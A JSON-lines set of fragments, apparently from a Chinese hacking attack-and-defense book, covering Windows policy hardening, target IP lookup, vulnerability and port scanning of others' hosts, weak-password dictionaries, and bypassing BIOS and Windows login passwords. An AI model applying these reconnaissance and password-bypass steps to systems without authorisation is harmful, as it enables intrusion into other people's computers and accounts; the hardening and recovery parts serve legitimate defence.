    {"text": "01 在系统桌面左下角单击“开始”按钮，在搜索框中执行“gpedit”命令，打开“本地组策略编辑器”窗口。 02 在窗口左侧依次展开“用户配置”→“管理模版”→“桌面”目录，在右侧的窗格中双击“禁止添加、拖、放和关闭任务栏的工具栏”策略项。 03 在弹出的对话框中选择“已启用”单选项，然后单击“确定”按钮即可。"},
    {"text": "例7 禁用“开始”菜单的快捷命令 禁用“开始”菜单中的快捷命令，可以防止黑客利用木马替换“开始”菜单中的“公共”程序组，例如“我的文档”图标、“文档”菜单和“网络邻居”图标等，禁用“开始”菜单中“文档”图标的方法如下。"},
    {"text": "01 在系统桌面左下角单击“开始”按钮，在搜索框中执行“gpedit”命令，打开“本地组策略编辑器”窗口。 02 在窗口左侧依次展开“本地计算机策略”→“用户配置”→“管理模版”→“开始菜单和任务栏”目录，在右侧窗格中双击“从开始菜单中删除‘文档’图标”策略项。"},
    {"text": "例8 用组策略启用重要系统功能 目前，Windows操作系统的功能已经比较全面，在其中内置了很多有用的功能，我们在使用计算机的过程中可以启用这些功能，以增强系统和网络安全，具体操作如下。"},
    {"text": "01 在系统桌面左下角单击“开始”按钮，在搜索框中执行“gpedit”命令，打开“本地组策略编辑器”窗口。 02 在窗口左侧依次展开“计算机配置”→“Windows设置”→“安全设置”→“本地策略”→“审核策略”目录，然后在右侧双击“审核账户管理”策略项。"},
    {"text": "01 在系统桌面左下角单击“开始”按钮，在搜索框中执行“gpedit”命令，打开“本地组策略编辑器”窗口。 02 在窗口左侧依次展开“本地计算机策略”→“计算机配置”→“Windows设置”→“安全设置”→“本地策略”→“用户权限分配”目录，然后在右侧窗格中双击“拒绝从网络访问这台计算机”策略项。 03 在弹出的“拒绝从网络访问这台计算机”对话框中，单击“添加用户和组”按钮。"},
    {"text": "04 在弹出的“选择用户和组”对话框中，在“输入对象名称未选择”文本框中输入“Everyone”文本，然后连续单击两次“确定”按钮，即可关闭135端口。"},
    {"text": "01 在系统桌面左下角单击“开始”按钮，在弹出的“开始”菜单中依次单击“所有程序”→“附件”→“记事本”菜单命令，在打开的窗口中对照下图输入其中的文本。 02 在“记事本”窗口中依次单击“文件”→“保存”菜单命令，将文件保存为“Cleanup.bat”脚本文件。 03 打开本地组策略编辑器，依次展开“用户配置”→“Windows设置”→“脚本（登录/注销）”目录，在右侧双击“注销”策略项。"},
    {"text": "第4章 信息搜集与漏洞扫描 第4章 信息搜集与漏洞扫描 4.1 搜集信息 搜集信息是入侵他人电脑前必须做的准备，只有掌握了足够的信息才能顺利的进入他人电脑，从而实施进一步的操作。"},
    {"text": "例1 使用专业网站获取IP地址 目前，网络上有很多可以根据相关信息搜寻网络主机IP地址或域名的网站，通过这些网站，我们可以轻松地获得目标主机的网络IP地址，下面介绍具体的操作方法。 01 启动IE或其他网页浏览器，在地址栏中输入IP查询网站的网址，这里以“站长工具”网站为例，输入网址“http://ip.chinaz.com”后按“Enter”键访问该网站。 02 在搜索栏中输入要搜索的网站域名，这里以搜索百度网站为例，在搜索栏输入www.baidu.com，然后单击“查询”按钮，即可在搜索结果中查看相关的IP信息。 获取目标主机的IP地址的方法有很多，可以使用Windows自带的ping命令获取。"},
    {"text": "01 下载“超级IP查询工具”软件，一般为压缩包，直接解压，在解压目录中双击“IPQuery.exe”图标启动该软件。 02 在打开的界面中，在“要查询的IP或域名”文本框中输入IP地址，在“IP查询服务器”下拉列表中可以指定查询服务器，选择好后单击“查询”按钮。 03 程序会根据设置对目标主机进行搜索，待搜索完毕后会在“查询结果”文本框中列出所有信息，其中包括IP地址对应的主机地理位置。 小提示 还有一些功能比较强大的IP查询工具，例如，超级查询工具箱，不但可以查询IP地址对应的物理地址，还可以查询电话号码的物理地址。 例3 通过专业网站查询目标IP所在位置 除了可以使用软件查询目标IP的物理位置外，还可以通过一些专业的网站来查询。"},
    {"text": "01 启动IE或其他网页浏览器，在地址栏中输入指定IP查询网站的网址，这里以“123查网虫工具”IP查询网站为例，输入其网址“http://www.123cha.com/ip”，然后按“Enter”键进行访问。 02 在搜索框中输入目标主机的IP地址，然后单击“查询”按钮，在搜索结果中即可查看到目标电脑的地理位置。 此外，还有许多IP查询网站都可以通过IP地址查找目标主机的地理位置，例如：萍心网（http://www.dheart.net/ip）、中国站之家（http://ip.webmasterhome.cn）等。"},
    {"text": "例4 通过域名查询网站备案信息 网站备案是根据国家法律法规需要网站的所有者向国家有关部门申请的备案。 我们可以通过这些备案信息来查看该网站的详细信息。 查询途径主要有两种：一种是到网站监督局查询，一种就是通过网络查询，这种方式较常用。 通过网络查询网站备案，主要是利用很多网站提供的WHOIS查询工具来实现。"},
    {"text": "01 启动IE或其他网页浏览器，在百度搜索引擎中搜索关键字“WHOIS查询”，在搜索结果中单击一个网站链接，这里以百度提供的WHOIS查询网址为例。 02 进入WHOIS查询页面，在搜索框中输入要查询的网站域名，单击“查询”按钮，即可查看对应网站的备案信息。"},
    {"text": "例1 使用MBSA检测系统安全性 MBSA（Microsoft Baseline Security Analyzer，微软基准安全分析器）不仅适用于Windows NT/2000/XP/2003，还适用于较新的Windows Vista/2008和Windows 7等操作系统，它不仅可以检测系统存在的安全漏洞，还提供了详细的解决方案和补丁下载地址。"},
    {"text": "安装完成后启动该软件，在主界面中单击“Scan a computer”链接，扫描某一台计算机。 02 在接着打开的界面中设置要扫描的计算机，如果要扫描本地主机，可在“computer name”下拉列表框中选中本地主机，如果要扫描其他主机，则可在“IP address”文本框中输入对应主机的IP地址，然后单击“Start Scan”按钮。"},
    {"text": "小提示 如果需要对某一范围内的多台计算机进行扫描，可在主界面中单击“Scan multiple computers”链接，在打开的界面中的“IP address range”文本框中设置要扫描的IP地址范围，然后单击“Start Scan”链接，程序会对该地址段的计算机进行扫描，并在扫描结束后显示各主机的安全信息。"},
    {"text": "02 在弹出的“扫描参数”对话框中，在“指定IP范围”文本框中设置扫描范围，单击“示例”按钮可查看设置规则。 03 在左侧窗格中依次展开“全局设置”→“扫描报告”选项，然后在右侧设置需要扫描的内容。 04 在左侧窗格中选中“全局设置”→“并发扫描”选项，在右侧设置最大并发主机数量、最大并发线程数量及各插件的最大并发线程数量等选项。 05 在左侧窗格中选中“全局设置”→“扫描报告”选项，在右侧设置扫描报告生成的格式、文件名称等内容。 06 在左侧窗格中选中“全局设置”→“其他设置”选项，在右侧设置是否跳过没有相应的主机、是否跳过没有检测到的开放端口的主机等选项。 07 在左侧窗格中依次展开“插件设置”→“NETBIOS相关设置”选项，在右侧勾选针对Windows系统的NETBIOS信息的检测选项。 08 在左侧窗格中选中“插件设置”→“漏洞检测脚本设置”选项，在右侧取消勾选“全选”按钮，然后单击“选择脚本”按钮。 小提示 由于脚本漏洞扫描的某些检测对他人主机有破坏性，可能导致目标主机出现死机、重启、服务异常等情况，这使得扫描操作容易被人发现，所以这里应勾选“安全扫描（跳过破坏性扫描）”复选框。"},
    {"text": "10 返回到“扫描参数”对话框，在左侧窗格中选中“插件设置”→“CGI相关设置”选项，然后在右侧可以选择与CGI相关的选项，包括各种字符替换方式。"},
    {"text": "13 返回到“参数设置”对话框，检查其他设置，确认无误后单击“另存”按钮。 14 在弹出的“另存为”对话框中设置文件的保存位置及文件名，单击“保存”按钮保存设置，以便今后使用。"},
    {"text": "小提示 当需要使用已设置好的参数对IP段（或单个IP地址）的主机进行扫描时，可打开参数设置对话框，单击“载入”按钮，然后将上述文件载入X-Scan程序即可。 15 参数设置完毕并保存好后，在“参数设置”对话框中单击“确定”按钮返回X-Scan程序主界面，然后依次单击“文件”→“开始扫描”菜单命令。"},
    {"text": "17 待扫描结束后，程序会以前面设置的报告格式显示扫描结果，例如，“扫描报告”的文件类型设置的是“txt”，扫描结束后就会弹出一个记事本文档，显示扫描结果。"},
    {"text": "02 在弹出的“设置”对话框中设置扫描的IP地址段，其他项保持默认设置，然后单击“下一步”按钮。 03 在弹出的对话框中设置扫描端口的范围，选择“自定端口扫描范围”选项，可在其下方设置端口的范围，本例保持默认设置，直接单击“下一步”按钮。"},
    {"text": "09 在弹出的对话框中单击下拉按钮，将操作系统设置为“All”，根据实际情况勾选或取消勾选“漏洞列表”中的选项，然后单击“下一步”按钮。"},
    {"text": "13 在弹出的“RPC”对话录中设置是否扫描“RPC”服务，然后单击“下一步”按钮。 14 在弹出的“MISC”对话框中设置扫描内容，然后单击“下一步”按钮。"},
    {"text": "例4 使用SSS扫描器扫描漏洞 SSS（Shadow Security Scaner）是一款在黑客界中赫赫有名的系统漏洞扫描工具，可以对大范围内的系统漏洞进行安全、高效、可靠的安全检测。"},
    {"text": "02 在弹出的对话框中选择预设的扫描方式，如果需要自定义扫描规则，则单击“Add rule”按钮。 03 在弹出的对话框中根据需要创建扫描规则，在“please，enter new rule name”文本框中输入新建规则的名称，单击“OK”按钮。 04 在弹出的“Security Scanner Rules”对话框中根据需要设置新规则的相关选项，本例保持默认设置，直接单击“OK”按钮。 05 返回到上一级对话框，选中新建的扫描规则，然后单击“Next”按钮。"},
    {"text": "06 在弹出的“New session”对话框中单击“Add host”按钮。 07 在弹出的“Add host”对话框中选中“host”单选项，然后在“Name or IP”文本框中输入主机名称或IP地址，本例输入“192.168.1.254”，然后单击“Add”按钮。 小提示 在“Add host”对话框中，“Hosts range”项用于设置扫描的IP地址范围。 “Hosts from file”项中可通过指定已有的目标主机列表文件来添加要扫描的计算机。 “Host groups”项中可通过添加工作组的方式添加目标计算机，并设置登录的用户名和密码。"},
    {"text": "01 在软件主界面左侧的“Scanner”选项列表框中单击“DoS Checker”按钮。 02 在弹出的对话框中在左侧选中扫描方式，拖动“Thread”栏的滑块设置扫描的线程数，然后单击“Start”按钮，即可进行DoS检测，并给出结果。 小提示 在软件主界面中单击“Options”按钮，然后在弹出的对话框中还可以对“General（常规）”、“Scanner（扫描参数）”、“Schdulers（扫描时间表）”、“Auto update（自动更新）”、“Sounds（报警音）”和“Nmap（Nmap扫描规则）”等相关选项进行设置。"},
    {"text": "例1 使用SuperScan扫描服务和端口 SuperScan也是一款常用的扫描器，它适用于Windows XP和Windows 2003操作系统，使用该软件可以检测到目标主机提供的服务类别、一定范围内活动主机的在线情况和端口情况等。"},
    {"text": "01 在网上下载SuperScan扫描器，启动其程序打开操作界面，在默认的扫描界面中设置需要扫描的“开始IP”和“结束IP”，单击 按钮保存设置，然后单击 按钮。"},
    {"text": "03 扫描结束后，单击“查看HTML结果”按钮，可通过IE浏览器查看最终的扫描结果，其中包括在线主机的IP地址、主机名称、所在域或工作组等内容。"},
    {"text": "04 如果要对某个主机的端口进行扫描，可在SuperScan扫描器操作界面中单击“主机和服务扫描设置”选项卡。 05 在打开的“主机和服务扫描设置”界面中勾选“UDP端口扫描”和“TCP端口扫描”复选项，并设置其端口范围。 小提示 用户还可以切换到“扫描选项”选项卡，对扫描对象和扫描方式进行设置，以便更快的找出对应的服务和端口信息。 06 切换到“扫描”选项卡，在“主机名\\IP”文本框中输入目标主机的名称或IP地址，然后单击“扫描”按钮 ，开始执行扫描操作。 07 扫描结束后单击“查看HTML结果”按钮，即可在打开的IE界面中查看目标主机的UDP端口和TCP端口信息。"},
    {"text": "例2 使用LanSee查看他人主机中端口 LanSee是一款可以对局域网上的各种信息进行查看的工具，它集成了局域网搜索功能、网络嗅探功能、局域网聊天和文件共享功能（不需要服务器），以及远程管理功能。 使用LanSee查看局域网内主机的具体操作如下。"},
    {"text": "01 下载并安装LanSee软件，启动其主程序，在打开的操作界面中依次单击“设置”→“工具选项”菜单命令。 小提示 LanSee软件属于收费软件，如果要长期使用需要进行注册。"},
    {"text": "02 在弹出的“选项”对话框中切换到“搜索计算机”选项卡，在其中对搜索IP地址段进行设置。 03 切换到“扫描端口”选项卡，在其中添加需要扫描的端口号，或者删除不需要扫描的端口。 04 切换到“网络嗅探”选项卡，在其中根据需要对嗅探信息进行设置，然后单击“保存”按钮。"},
    {"text": "08 展开“网络信息”选项组，选中“活动端口”选项，然后单击右侧的“刷新”按钮，对本机的活动端口进行扫描。 09 扫描结束后，本机的所有活动端口都会显示在程序窗口中，用户需仔细查看，然后按照本书前面介绍的方法关闭危险且不需要的端口。 10 切换到“网络信息”选项组中的“扫描端口”界面，然后单击“开始”按钮，对局域网内主机的端口进行扫描。 11 扫描结束后，程序会显示出局域网内所有主机当前开启的端口，用户需针对指定主机进行查看。"},
    {"text": "12 切换到“管理工具”选项组界面，用户可以打开“远程关机”操作界面，然后在其中设置，对拥有权限的主机进行远程关机或重启，如果有疑问，还可以参阅“使用说明”。"},
    {"text": "IP扫描可以扫描任意范围的IP地址（0.0.0.0）到（255.255.255.255），找到正在使用中的网络主机。 端口扫描可以扫描已发现的网上主机的端口，范围可以从1到65535，获得已经打开的端口的信息，对端口分析可以知道是否有人在你的电脑上留下了后门。 网络服务扫描可以扫描打开的端口，返回端口后台运行的网络服务信息，例如，80端口通常运行的是HTTP服务。"},
    {"text": "下面介绍使用HostScan扫描网络主机的方法。 01 下载并安装HostScan软件，启动其主程序，在主界面左下角中的“用户地址”栏设置扫描的范围，然后单击“开始”按钮。"},
    {"text": "02 软件开始对指定范围内包括本机的计算机进行扫描，用户可在右侧的窗格中查看扫描到的信息。 03 扫描完成后，程序会弹出“扫描结果报告”对话框，其中显示了扫描结果，例如，某台计算机中开启的端口等信息。 例4 使用NMAP扫描器扫描计算机 Nmap是一款功能强大的端口扫描工具，它适用于Windows XP/2003等操作系统，其主要功能有：探测一组主机是否在线，扫描主机端口，嗅探其提供的网络服务及所用系统版本等信息。 使用Nmap扫描计算机的具体操作如下。"},
    {"text": "04 如果需要进行Ping扫描，切换“Ping”选项卡，然后在打开的页面中设置扫描信息。 05 返回程序窗口，在“Target”文本框中输入要扫描的计算机的IP地址，在“Profile”下拉列表框中选择制定好的扫描配置文件，然后单击“Scan”按钮。"},
    {"text": "例5 使用黑客字典编辑弱口令的扫描规则 所谓“黑客字典”就是将一些口令的组合或字母、数字、字符等，按一定规则排列组合编辑成的文件，它经常与弱口令扫描工具搭配使用。"},
    {"text": "现在很多黑客软件都可以对系统中的弱口令进行扫描，特别是SQL数据库的sa登录口令，更是扫描的重点。 需要注意的是在使用黑客软件扫描弱口令时，需要同时加载黑客字典。"},
    {"text": "下面以小榕黑客字典为例进行介绍。 01 下载小榕黑客字典文件，将其解压并启动其主程序，在打开的程序界面中单击“注册”按钮。 小提示 小榕黑客字典是一款功能强大的黑客字典生成器，适用于Windows XP/2003操作系统。"},
    {"text": "08 返回到“字典设置”对话框，切换到“高级选项”选项卡，勾选“使用高级选项生成字典”，在其中固定字母、数字或字符位置，然后单击“确定”按钮。 09 在弹出的“高级字典属性”对话框中显示了生成字典的所有信息，确认无误后单击“开始”按钮。 10 软件开始生成字典，此过程由系统自动完成，待字典生成结束后，单击“确定”按钮，完成设置。"},
    {"text": "例6 使用弱口令扫描器获取口令 当字典文件创建好后，就可以使用弱口令扫描器加载自己编辑的字典文件进行弱口令扫描了。 这里以Tomcat软件为例进行介绍，该软件适用于Windows XP/2003操作系统，它可以根据需要加载用户名称字典，密码字典，对一定IP范围内的主机进行弱口令扫描，具体操作如下。"},
    {"text": "05 切换到“信息”设置界面，在“IP起始地址”和“终止地址”文本框中设置对应信息，单击“添加”按钮将设置添加到地址列表中，然后单击“开始”按钮。"},
    {"text": "也可能是因为对方服务器响应较慢，依次发出去的请求被同时返送回来而造成网络堵塞。 还有可能是服务器安装了比较厉害的防火墙，一旦察觉到有人扫描就发送特殊的数据包回来，造成系统瘫痪。"},
    {"text": "一般情况下，遇到扫描器停止响应的问题，可以尝试更换其他扫描器进行扫描，如果问题仍然存在，则可能是因为扫描器与本机操作系统不兼容而造成的。"},
    {"text": "例8 解答扫描不到QQ开放端口的情况 在使用端口扫描器扫描主机时，有时扫描不到QQ程序开放的端口。 这种情况主要是因为QQ在通信时使用了UDP协议，而UDP协议在通信时是不建立连接的，并且端口扫描器是基于TCP协议运行的。 因此，当用户试图通过“连接”或“半连接”测试方式来确定端口是否开放时，端口扫描器是无法扫描出QQ开放的端口的。"},
    {"text": "第5章 密码攻防 第5章 密码攻防 5.1 BIOS密码攻防 BIOS密码是电脑的第一道安全门，为BIOS设置密码可以防止他人擅自更改BIOS设置，或者防止别人进入自己的电脑系统，是保护电脑安全的有效措施之一，本节将介绍有关BIOS密码的设置与破解的知识。 例1 设置BIOS用户密码 设置“User Password”后输入正确的密码可以进入BIOS设置界面并浏览相关设置，但不能对BIOS设置作修改。 设置BIOS用户密码的方法如下。 01 启动电脑，在显示开机自检画面时，根据屏幕下方的提示“Press DEL to enter SETUP”，按下“Delete”键进入BIOS。 02 在BIOS操作界面使用“↑”或“↓”方向键选中“Set User Password”选项，按“Enter”键确认。 03 在弹出的“Enter Password”（输入密码）对话框中输入要设置的密码，然后按“Enter”键。 04 在弹出的“Confirm Password”（确认密码）对话框中，再次输入刚才设置的密码，然后按下“Enter”键确认。 05 密码设置完成后，按下“F10”键，会弹出“SAVE to CMOS and EXIT（Y/N）？ Y”对话框，再次按下“Enter”键可保存设置并退出BIOS。 小提示 更改BIOS密码的方法与设置密码的方法相同。 如果要撤销BIOS密码，只要在更改密码时不输入任何字符，连续按两次“Enter”键确认即可。 例2 设置BIOS超级用户密码 设置超级用户密码（Set Supervisor Password）可以阻止他人进入系统或修改BIOS设置，设置方法如下。 01 启动电脑，在显示开机自检画面时，根据屏幕下方的提示“Press DEL to enter SETUP”，按下“Delete”键进入BIOS。 02 在BIOS操作界面使用“↑”或“↓”方向键选中“Set Supervisor Password”选项，按“Enter”键确认。 03 在弹出的“Enter Password”（输入密码）对话框中输入要设置的密码，然后按“Enter”键。 04 在弹出的“Confrm Password”对话框中，再次输入密码，按“Enter”键确认。 05 密码设置完成后，按下“F10”键，会弹出“SAVE to CMOS and EXIT（Y/N）？ Y”对话框，再次按下“Enter”键可保存设置并退出BIOS。 小提示 设置“Set Supervisor Password”后用户必须输入正确的密码才能进入BIOS设置界面并有权对BIOS设置进行修改。 例3 设置密码检测方式 当设置了BIOS密码后，如果将密码检测方式设定为“Setup”，则只有在进入BIOS设置时才要求输入密码； 如果将检测方式设置为“System”，则在开机启动系统和进入BIOS设置时都需要输入密码。"},
    {"text": "01 在BIOS设置界面中，设置好BIOS超级用户密码或者用户密码。 02 使用“↑”或“↓”方向键选中“Advanced BIOS Features”（高级BIOS特性）选项，然后按“Enter”键进入。 03 使用“↑”或“↓”方向键选中“Security Option”选项，按“Enter”键打开其设置对话框。 04 在弹出的“Security Option”设置对话框中选择“System”选项，然后按“Enter”键确认。 05 按下“Esc”键，返回到BIOS设置主界面，找到并选中“Save＆Exit Setup”选项，按“Enter”键，在弹出的对话框中输入“Y”，按“Enter”键保存并退出设置即可。 小提示 如果没有设置BIOS的超级用户密码和用户密码，那么“Security Option”选项的设置将不起作用。 此外，如果需要了解更多的BIOS设置知识，可以参考相关的资料，这里不再详述。 例4 利用COMS放电法破解BIOS密码 当忘记BIOS密码或者要强行修改BIOS设置，则可采取措施对BIOS密码进行破解。 破解BIOS密码的方法有两种：CMOS放电法和跳线短接法，这里介绍COMS放电法。 小提示 由于BIOS密码都保存在主板上的CMOS芯片（RAM储存器）中，而CMOS芯片依靠CMOS电池为其供电，当CMOS芯片的电源断开后，其中的数据将丢失。 01 打开电脑机箱，找到主板上银白色的纽扣电池，小心地将它取下，用金属片短接电池底座上的弹簧片，此时，CMOS芯片将因断电而暂时失去记忆功能，其内部储存的信息都将全部丢失。"},
    {"text": "例5 利用跳线短接法破解BIOS密码 有的主板的CMOS芯片与电池整合在了一起，或者电池不好取下。 遇到这种情况将不能使用CMOS放电法清除BIOS密码，此时可以采用跳线短接法，具体操作如下。 01 打开电脑机箱，找到在CMOS电池旁边的跳线，并将跳线帽取下。 02 将跳线帽连接到另外两根跳线上，稍等片刻，以确保BIOS信息已被清除。 03 再次取下跳线帽，将跳线帽重新接回到之前的连接位置，然后盖好机箱侧面板即可。 小提示 由于不同主板的跳线设置情况不完全一样，所以在采用跳线短接法清除BIOS密码之前，最好先查阅该主板说明书，查看CMOS跳线的位置。 此外，采用CMOS放电法和跳线短接法清除BIOS密码前，应先切断主机电源。"},
    {"text": "5.2 操作系统密码攻防 在操作系统中设置一些安全密码，例如，设置账户登录密码、电源管理密码等，可以防止他人使用电脑，从而在一定程度上保证了个人信息的安全。 相反，如果获取了对方的系统密码，即可登录对应电脑，从而进行需要的操作，本节主要介绍操作系统密码的攻防技巧。 例1 通过“计算机管理”窗口设置账户登录密码 用户账户登录密码是操作系统的第一道安全屏障，可以在一定程度上将黑客拒之门外。 在Windows操作系统中，可以通过“计算机管理”窗口设置来设置账户登录密码，具体操作如下。 01 在系统桌面上右键单击“计算机”图标，在弹出的菜单中单击“管理”命令，打开“计算机管理”窗口。 02 在窗口左侧依次展开“计算机管理（本地）”→“系统工具”→“本地用户和组”→“用户”目录，在右侧窗口中右键单击账户名称，本例为系统默认账户“Administrator”，在弹出的菜单中单击“设置密码”命令。 03 在弹出的“为Administrator设置密码”对话框中，根据提示在为账户设置密码即可。 例2 通过控制面板设置账户登录密码 在Windows操作系统中，控制面板中集成了几乎所有的系统设置，当然账户密码也可以通过控制面板来设置，具体操作如下。 01 在系统桌面左下角单击“开始”按钮，在弹出的“开始”菜单中单击“控制面板”命令。 02 在打开的“控制面板”窗口中，切换到“大图标视图”模式，然后找到并单击“用户账户”链接。 03 在打开的“用户账户”窗口中找到要设置密码的账户，本例为“Administrator”账户，然后单击“更改密码”链接。 04 在弹出的“更改密码”窗口中根据提示设置账户密码，然后单击“更改密码”按钮即可。"},
    {"text": "例3 设置从睡眠状态恢复时的唤醒密码 在Windows 7操作系统中，电源的管理功能也可以设置密码，设置该密码后系统在从节能状态恢复时就会要求输入密码，从而达到保护系统的目的。"},
    {"text": "01 在桌面空白处单击鼠标右键，在弹出的快捷菜单中单击“个性化”命令。 在打开的“个性化”窗口中单击“屏幕保护程序”链接。 小提示 在“个性化”窗口中，用户可以根据需要选择个性化的主题、桌面背景、窗口颜色以及系统声音方案等，此外，还可以根据窗口左侧的链接进入对应界面，对系统进行个性化设置。 02 在打开的“屏幕保护程序设置”对话框中单击“更改电源设置”链接。 在打开的“电源选项”窗口中单击“唤醒时需要密码”链接。 小提示 在“电源选项”窗口中单击“平衡”选项后方的“更改计划设置”链接，可在打开的窗口中对多显示器的睡眠进行设置。 03 在打开的“系统设置”对话框中选择“需要密码”单选项，然后单击“保存修改”按钮即可。 小提示 默认情况下，电源管理密码就是系统账户的登录密码，如果还未为系统账户设置密码，则可在此窗口中单击“创建或更改用户账户密码”链接，然后在打开的窗口中进行密码的设置。"},
    {"text": "例4 设置屏幕保护密码 屏幕保护程序（简称屏保）是一个可以使屏幕暂停显示或以动画的方式显示的应用程序。 给屏幕保护程序设置密码，可以阻止未授权用户查看电脑中的信息，从而起到保护电脑信息安全的作用。 设置屏幕保护密码的方法如下。"},
    {"text": "01 在系统桌面空白处单击鼠标右键，在弹出的快捷菜单中单击“个性化”命令。 02 在弹出的“个性化”窗口中单击“屏幕保护程序”链接。 03 在弹出的“屏幕保护程序设置”对话框的“屏幕保护程序”下拉列表中选择一种屏保方案，在“等待”数值框中输入等待时间，勾选“在恢复时显示登录屏幕”复选框，然后单击“确定”按钮即可。 设置屏幕保护程序密码后，如果在指定的时间内未对电脑进行操作，系统将自动启动屏幕保护程序。 待重新进入系统时，将打开登录对话框，只有正确输入当前账户的登录密码才能进入系统。"},
    {"text": "例5 为系统创建密码重设盘 管理员密码对于操作系统是非常重要的，一旦丢失，我们将很可能无法进入系统进行操作。 Windows 7操作系统自带了密码重设程序，我们可以在为管理账户设置密码后利用此功能创建一个密码重设盘，当忘记密码时再使用该重设盘对管理员密码进行重设。 创建密码重设盘的方法如下。"},
    {"text": "01 在系统左下角单击“开始”按钮，在弹出的“开始”菜单中单击“控制面板”命令。 02 将U盘插入电脑中，在“控制面板”窗口中单击“用户账户”项。"},
    {"text": "03 在打开的“用户账户”窗口中在左侧任务列表中单击“创建密码重设盘”链接。 04 在弹出的“欢迎使用忘记密码向导”对话框中单击“下一步”按钮。 05 弹出“创建密码重置盘”对话框，在下拉列表中选择U盘盘符，然后单击“下一步”按钮。 06 在弹出的“当前用户账户密码”对话框中输入当前账户的密码，然后单击“下一步”按钮。"},
    {"text": "例6 使用密码重设盘重设登录密码 如果不小心忘记了用户账户的密码，用户只需在系统启动后，将作为密码重置盘的U盘插入电脑中，然后在账户登录界面根据提示重新设置密码即可，具体操作如下。 01 启动电脑，进入Windows 7的登录界面，在文本框中输入账户密码，然后单击文本框右侧的 按钮。 02 如果用户输入的密码不正确，将无法登录系统，并提示“用户名或密码不正确”，单击“确定”按钮继续。 返回到用户账户登录界面，单击文本框下方的“重设密码”链接。 03 将作为密码重置盘的U盘插入电脑中，在弹出的“重置密码向导”对话框中单击“下一步”按钮。 04 弹出“插入密码重置盘”对话框，在“密码密钥盘在下面的驱动器中”下拉列表框中选择U盘，然后单击“下一步”按钮。 05 在弹出的“重置用户账户密码”对话框中设置新的密码并确认密码，然后单击“下一步”按钮。 小提示 在“输入一个密码提示”文本框中可以设置一个密码提示，以帮助用户回忆密码，也可以不设置。 06 返回到用户登录界面，在文本框中输入新设置的账户密码，单击文本框右侧的 按钮，稍后即可登录到系统桌面。 例7 使用软件破解系统登录密码 如果在系统正常运行的情况下没有创建密码重设盘，则可以使用软件来破解系统登录密码，下面以WinPE为例介绍破解登录密码的方法。 1．制作Windows PE启动U盘 在使用WinPE破解密码前，需要先介绍制作带Windows PE的启动U盘，具体操作如下。 01 将U盘链接到电脑上，从网络中下载“老毛桃WinPE”工具软件，右键单击下载的“winpeboot”文件，在弹出的菜单中单击“解压文件”命令。"},
    {"text": "04 在弹出的界面中选择安装方式，这里选择“［4］Grub安装/启动”，按下“Enter”键。 05 在打开的界面中输入当前U盘盘符，本例输入“G”，按下“Enter”键。 06 在打开的界面中确认U盘盘符是否正确，然后按下任意键开始安装。 07 在弹出的对话框中要求格式化U盘，这里选择要制作启动盘的U盘，在“文件系统”文本框中设置系统盘的分区格式，如果对文件系统格式不熟悉，可先通过网络或书籍先进行了解，本例设置为“NTFS”格式，然后单击“开始”按钮。"},
    {"text": "在弹出的对话框中提示程序将对U盘写入Grub引导，单击“磁盘”文本框右侧的下拉按钮，在弹出的下拉菜单中选择需要导入的U盘，单击“安装”按钮。"},
    {"text": "11 在接着打开的界面中提示U盘已经成功写入Grub引导，这里按下任意键继续。 12 在打开的界面中按照要求设置启动U盘的密码，按下“Enter”键继续。 密码设置完成后一定要牢记密码信息，然后按下任意键继续操作。 13 程序会提示安装完成，这里按下任意键退出安装界面，至此带带Windows PE的启动U盘就制作完成了。 2．使用U盘启动系统并破解密码 Windows PE启动U盘制作完成后，就可以通过它来启动Windows PE系统，然后通过其中的软件来破解登录密码，具体操作如下。 01 将U盘连接到电脑上，进入BIOS界面，将第一启动设备设置为“USB-HDD”，保存后重新启动电脑。 02 在U盘的引导下进入WinPE操作界面，单击“开始”按钮，在弹出的“开始”菜单中依次单击“程序”→“Windows系统维护”→“Windows用户密码修改”菜单命令，然后在弹出的对话框中根据提示完成密码的修改即可。"},
    {"text": "例8 删除Sam文件破解Windows登录密码 Sam文件是Windows 2000/XP系统的密码文件，如果忘记登录密码，可设法删除该文件使密码失效。 01 启动系统到DOS或故障恢复控制台，进入system32\\confg目录下，找到并删除SAM文件。 02 重新启动，此时管理员Administrator账户已经没有密码了，用Administrator账户登录系统，不用输入任何密码，进入系统后再重新设置登录账户密码即可。"},
    {"text": "01 启动电脑，在开机自检完成后按“F8”键，选择“安全模式”启动。 02 进入系统后，鼠标右键单击桌面空白处，在弹出的快捷菜单中选择“属性”命令，打开“显示属性”设置对话框。 03 “屏幕保护”选项卡，取消“密码保护”复选框。 04 保存设置并重新启动电脑即可。"},
    {"text": "5.3 办公文档密码攻防 随着无纸化办公的快速推广，使用电脑处理工作中的文档和数据也变得越来越普及，但是办公文档的安全问题却很少被注意。"},
    {"text": "01 Word文档编辑完成后，单击“Offce”按钮，在弹出的下拉菜单中，单击“保存”命令。 02 在弹出的“保存为”对话框中，单击“工具”按钮，在弹出的下拉菜单中，单击“常规选项”命令。 小提示 如果对文档修改后，需要保存修改够的文档又要保留原文档时，可以在下拉菜单中单击“另存为”命令，继续对编辑后的文档设置修改权限密码。 03 在弹出的“常规选项”对话框中，在“修改文件时的密码”文本框中输入密码，单击“确定”按钮，完成设置。 如果用户的文档中包含有不希望未授权用户查看的内容，可以通过对Word文档设置打开权限密码来避免他人浏览。 按照设置Word文档的修改权限密码的方法，打开“常规对话框”，在“打开文件时的密码”文本框中输入密码，然后单击“确定”按钮可完成设置。 例2 设置窗体保护 用户可以通过对Word文档设置窗体保护功能，来增强文档的安全性，具体操作如下。 01 在要设置窗体保护的Word文档中，单击左上角的“Offce”按钮，在弹出的下拉列表中单击“另存为”命令。"},
    {"text": "02 在弹出的“另存为”对话框中单击“工具”按钮，然后在弹出的下拉菜单中单击“常规选项”命令。 03 在弹出的“常规选项”对话框中单击“保护文档”按钮，然后单击“另存为”对话框中的按钮，将其关闭。 04 在弹出的“限制格式和编辑”窗格中勾选“仅允许在文档中进行此类编辑”复选框，单击“编辑类型”文本框右侧的下拉按钮，在弹出的下拉列表中单击“填写窗体”命令，然后单击“是，启动强制保护”按钮。 05 在弹出的“启动强制保护”对话框中，在“新密码”文本框中输入密码，在“确认新密码”文本框中再次输入密码，单击“确定”按钮，完成设置。"},
    {"text": "03 在弹出的“常规选项”对话框中，在“打开权限密码”文本框中设置打开权限密码，在“修改权限密码”文本框中设置修改权限密码，然后单击“确定”按钮，完成设置。"},
    {"text": "例4 查看Access数据库密码 目前，很多中小型网站都喜欢采用Access数据库，其中可能保存了大量的会员资料等，为了保证安全，很多数据库都设置了密码。"},
